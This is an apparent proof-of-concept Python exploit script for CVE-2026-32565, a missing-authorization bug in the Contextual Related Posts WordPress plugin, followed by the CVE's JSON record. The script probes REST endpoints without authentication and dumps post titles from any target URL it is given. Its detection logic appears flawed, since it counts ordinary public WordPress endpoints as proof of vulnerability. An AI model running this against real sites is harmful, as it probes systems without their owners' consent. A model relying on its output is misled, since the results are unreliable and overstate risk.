CVE-2026-32565

# CVE-2026-32565 PoC - Contextual Related Posts Missing Authorization # Affected: Contextual Related Posts < 4.2.2 import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-32565 Missing Authorization in Contextual Related Posts plugin """ # Common API endpoints for Contextual Related Posts plugin endpoints = [ "/wp-json/contextual-related-posts/v1/posts", "/wp-json/wp/v2/posts", "/?rest_route=/contextual-related-posts/v1/posts", "/wp-content/plugins/contextual-related-posts/api/" ] print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2026-32565 - Missing Authorization") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[~] Testing endpoint: {url}") try: # Send unauthenticated request (no cookies/auth headers) response = requests.get(url, timeout=10, verify=False) print(f"[>] Status Code: {response.status_code}") if response.status_code == 200: print(f"[!] VULNERABLE - Endpoint accessible without authentication") print(f"[>] Response Preview: {response.text[:500]}...") return True elif response.status_code == 401 or response.status_code == 403: print(f"[>] Protected (Expected behavior)") else: print(f"[>] Unexpected status code") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") print("\n[*] No vulnerable endpoints found") return False def exploit_info_disclosure(target_url): """ Exploit the vulnerability to gather sensitive information """ print("\n[*] Attempting information disclosure...") # Try to enumerate posts via REST API url = target_url.rstrip('/') + "/wp-json/wp/v2/posts?per_page=100" try: response = requests.get(url, timeout=10) if response.status_code == 200: posts = response.json() print(f"[!] Successfully retrieved {len(posts)} posts without authentication!") for post in posts[:5]: print(f" - ID: {post.get('id')}, Title: {post.get('title').get('rendered')}") except Exception as e: print(f"[!] Exploitation failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) exploit_info_disclosure(target) else: print("Usage: python cve-2026-32565.py <target_url>") print("Example: python cve-2026-32565.py http://example.com")

{"cve": {"id": "CVE-2026-32565", "sourceIdentifier": "[email protected]", "published": "2026-03-18T10:16:25.307", "lastModified": "2026-04-29T10:17:22.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Ajay Contextual Related Posts contextual-related-posts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Contextual Related Posts: from n/a through < 4.2.2."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en WebberZone Contextual Related Posts permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Contextual Related Posts: desde n/a antes de la 4.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contextual-related-posts/vulnerability/wordpress-contextual-related-posts-plugin-4-2-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}